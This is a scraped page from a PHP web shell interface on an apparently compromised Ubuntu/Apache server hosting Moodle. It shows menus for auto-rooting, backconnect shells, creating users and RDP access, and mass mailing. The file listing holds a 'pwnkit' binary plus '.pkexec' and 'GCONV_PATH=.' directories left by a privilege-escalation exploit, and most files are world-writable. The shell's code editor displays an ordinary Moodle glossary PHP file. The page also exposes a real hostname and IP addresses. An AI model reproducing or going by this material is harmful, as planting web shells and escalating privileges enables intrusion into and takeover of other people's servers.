Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
formats
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
1.7
KB
-rwxrwxrwx
TODO.txt
607
B
-rwxrwxrwx
approve.php
1.61
KB
-rwxrwxrwx
deleteentry.php
5.1
KB
-rwxrwxrwx
edit.php
7.34
KB
-rwxrwxrwx
edit_form.php
6.63
KB
-rwxrwxrwx
editcategories.html
1.6
KB
-rwxrwxrwx
editcategories.php
9.85
KB
-rwxrwxrwx
export.php
2.74
KB
-rwxrwxrwx
exportentry.php
4.4
KB
-rwxrwxrwx
formats.php
8.21
KB
-rwxrwxrwx
import.php
14.64
KB
-rwxrwxrwx
import_form.php
1.13
KB
-rwxrwxrwx
index.php
4.14
KB
-rwxrwxrwx
lib.php
111.93
KB
-rwxrwxrwx
locallib.php
23.08
KB
-rwxrwxrwx
mod_form.php
10.29
KB
-rwxrwxrwx
print.php
6.12
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rsslib.php
7.63
KB
-rwxrwxrwx
settings.php
3.83
KB
-rwxrwxrwx
showentry.php
3.16
KB
-rwxrwxrwx
showentry_ajax.php
3.46
KB
-rwxrwxrwx
sql.php
10.24
KB
-rwxrwxrwx
styles.css
2.03
KB
-rwxrwxrwx
tabs.php
3.63
KB
-rwxrwxrwx
version.php
1.21
KB
-rwxrwxrwx
view.php
17.84
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : editcategories.php
<?php /// This page allows to edit entries categories for a particular instance of glossary require_once("../../config.php"); require_once("lib.php"); $id = required_param('id', PARAM_INT); // Course Module ID, or $usedynalink = optional_param('usedynalink', 0, PARAM_INT); // category ID $confirm = optional_param('confirm', 0, PARAM_INT); // confirm the action $name = optional_param('name', '', PARAM_CLEAN); // confirm the name $action = optional_param('action', '', PARAM_ALPHA ); // what to do $hook = optional_param('hook', '', PARAM_ALPHANUM); // category ID $mode = optional_param('mode', '', PARAM_ALPHA); // cat $action = strtolower($action); $url = new moodle_url('/mod/glossary/editcategories.php', array('id'=>$id)); if ($usedynalink !== 0) { $url->param('usedynalink', $usedynalink); } if ($confirm !== 0) { $url->param('confirm', $confirm); } if ($name !== 'name') { $url->param('name', $name); } if ($action !== 'action') { $url->param('action', $action); } if ($hook !== 'hook') { $url->param('hook', $hook); } if ($mode !== 'mode') { $url->param('mode', $mode); } $PAGE->set_url($url); if (! $cm = get_coursemodule_from_id('glossary', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id"=>$cm->course))) { print_error('coursemisconf'); } if (! $glossary = $DB->get_record("glossary", array("id"=>$cm->instance))) { print_error('invalidcoursemodule'); } if ($hook > 0) { if ($category = $DB->get_record("glossary_categories", array("id"=>$hook))) { //Check it belongs to the same glossary if ($category->glossaryid != $glossary->id) { print_error('invalidid', 'glossary'); } } else { print_error('invalidcategoryid'); } } require_login($course, false, $cm); $context = context_module::instance($cm->id); require_capability('mod/glossary:managecategories', $context); $strglossaries = get_string("modulenameplural", "glossary"); $strglossary = get_string("modulename", "glossary"); $PAGE->navbar->add($strglossaries, new moodle_url('/mod/glossary/index.php', array('id'=>$course->id))); $PAGE->navbar->add(get_string("categories","glossary")); if (!empty($action)) { $navaction = get_string($action). " " . textlib::strtolower(get_string("category","glossary")); $PAGE->navbar->add($navaction); } $PAGE->set_title(format_string($glossary->name)); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); // Prepare format_string/text options $fmtoptions = array( 'context' => $context); if (right_to_left()) { // RTL table alignment support $rightalignment = 'left'; $leftalignment = 'right'; } else { $rightalignment = 'right'; $leftalignment = 'left'; } if ( $hook >0 ) { if ( $action == "edit" ) { if ( $confirm ) { $action = ""; $cat = new stdClass(); $cat->id = $hook; $cat->name = $name; $cat->usedynalink = $usedynalink; $DB->update_record("glossary_categories", $cat); add_to_log($course->id, "glossary", "edit category", "editcategories.php?id=$cm->id", $hook,$cm->id); } else { echo "<h3 class=\"main\">" . get_string("edit"). " " . get_string("category","glossary") . "</h3>"; $name = $category->name; $usedynalink = $category->usedynalink; require "editcategories.html"; echo $OUTPUT->footer(); die; } } elseif ( $action == "delete" ) { if ( $confirm ) { $DB->delete_records("glossary_entries_categories", array("categoryid"=>$hook)); $DB->delete_records("glossary_categories", array("id"=>$hook)); echo $OUTPUT->box_start('generalbox boxaligncenter errorboxcontent boxwidthnarrow'); echo "<div>" . get_string("categorydeleted","glossary") ."</div>"; echo $OUTPUT->box_end(); add_to_log($course->id, "glossary", "delete category", "editcategories.php?id=$cm->id", $hook,$cm->id); redirect("editcategories.php?id=$cm->id"); } else { echo "<p>" . get_string("delete"). " " . get_string("category","glossary"). "</p>"; echo $OUTPUT->box_start('generalbox boxaligncenter errorboxcontent boxwidthnarrow'); echo "<div class=\"boxaligncenter deletecatconfirm\">".format_string($category->name, true, $fmtoptions)."<br/>"; $num_entries = $DB->count_records("glossary_entries_categories", array("categoryid"=>$category->id)); if ( $num_entries ) { print_string("deletingnoneemptycategory","glossary"); } echo "<p>"; print_string("areyousuredelete","glossary"); echo "</p>"; ?> <table border="0" width="100" class="confirmbuttons"> <tr> <td align="$rightalignment" style="width:50%"> <form id="form" method="post" action="editcategories.php"> <div> <input type="hidden" name="id" value="<?php p($cm->id) ?>" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="confirm" value="1" /> <input type="hidden" name="mode" value="<?php echo $mode ?>" /> <input type="hidden" name="hook" value="<?php echo $hook ?>" /> <input type="submit" value=" <?php print_string("yes")?> " /> </div> </form> </td> <td align="$leftalignment" style="width:50%"> <?php unset($options); $options = array ("id" => $id); echo $OUTPUT->single_button(new moodle_url("editcategories.php", $options), get_string("no")); echo "</td></tr></table>"; echo "</div>"; echo $OUTPUT->box_end(); } } } elseif ( $action == "add" ) { if ( $confirm ) { $dupcategory = $DB->get_records_sql("SELECT * FROM {glossary_categories} WHERE ".$DB->sql_like('name','?', false)." AND glossaryid=?", array($name, $glossary->id)); if ( $dupcategory ) { echo "<h3 class=\"main\">" . get_string("add"). " " . get_string("category","glossary"). "</h3>"; echo $OUTPUT->box_start('generalbox boxaligncenter errorboxcontent boxwidthnarrow'); echo "<div>" . get_string("duplicatecategory","glossary") ."</div>"; echo $OUTPUT->box_end(); redirect("editcategories.php?id=$cm->id&action=add&name=$name"); } else { $action = ""; $cat = new stdClass(); $cat->name = $name; $cat->usedynalink = $usedynalink; $cat->glossaryid = $glossary->id; $cat->id = $DB->insert_record("glossary_categories", $cat); add_to_log($course->id, "glossary", "add category", "editcategories.php?id=$cm->id", $cat->id,$cm->id); } } else { echo "<h3 class=\"main\">" . get_string("add"). " " . get_string("category","glossary"). "</h3>"; $name=""; require "editcategories.html"; } } if ( $action ) { echo $OUTPUT->footer(); die; } ?> <form method="post" action="editcategories.php"> <table width="40%" class="boxaligncenter generalbox" cellpadding="5"> <tr> <th style="width:90%" align="center"> <?php p(get_string("categories","glossary")) ?></th> <th style="width:10%" align="center"> <?php p(get_string("action")) ?></th> </tr> <tr><td style="width:100%" colspan="2"> <?php $categories = $DB->get_records("glossary_categories", array("glossaryid"=>$glossary->id), "name ASC"); if ( $categories ) { echo '<table width="100%">'; foreach ($categories as $category) { $num_entries = $DB->count_records("glossary_entries_categories", array("categoryid"=>$category->id)); ?> <tr> <td style="width:80%" align="$leftalignment"> <?php echo "<span class=\"bold\">".format_string($category->name, true, $fmtoptions)."</span> <span>($num_entries " . get_string("entries","glossary") . ")</span>"; ?> </td> <td style="width:19%" align="center" class="action"> <?php echo "<a href=\"editcategories.php?id=$cm->id&action=delete&mode=cat&hook=$category->id\"><img alt=\"" . get_string("delete") . "\"src=\"" . $OUTPUT->pix_url('t/delete') . "\" class=\"iconsmall\" /></a> "; echo "<a href=\"editcategories.php?id=$cm->id&action=edit&mode=cat&hook=$category->id\"><img alt=\"" . get_string("edit") . "\" src=\"" . $OUTPUT->pix_url('t/edit') . "\" class=\"iconsmall\" /></a>"; ?> </td> </tr> <?php } echo '</table>'; } ?> </td></tr> <tr> <td style="width:100%" colspan="2" align="center"> <?php $options['id'] = $cm->id; $options['action'] = "add"; echo "<table class=\"editbuttons\" border=\"0\"><tr><td align=\"$rightalignment\">"; echo $OUTPUT->single_button(new moodle_url("editcategories.php", $options), get_string("add") . " " . get_string("category","glossary")); echo "</td><td align=\"$leftalignment\">"; unset($options['action']); $options['mode'] = 'cat'; $options['hook'] = $hook; echo $OUTPUT->single_button(new moodle_url("view.php", $options), get_string("back","glossary")); echo "</td></tr>"; echo "</table>"; ?> </td> </tr> </table> </form> <?php echo $OUTPUT->footer();
Close